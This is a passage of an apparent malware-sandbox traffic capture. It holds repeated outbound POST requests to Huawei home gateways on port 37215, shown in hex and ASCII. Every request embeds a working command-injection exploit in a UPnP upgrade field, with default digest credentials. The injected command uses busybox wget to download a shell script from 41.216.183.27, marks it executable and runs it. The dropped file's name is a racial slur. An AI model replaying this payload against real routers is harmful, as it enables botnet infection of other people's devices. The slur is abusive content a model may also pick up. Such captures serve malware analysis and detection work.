64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952269077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304075003 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007910013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.15	37298	31.136.56.5	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.099155903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656286955 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744415998 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952286005 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304177999 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007910013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 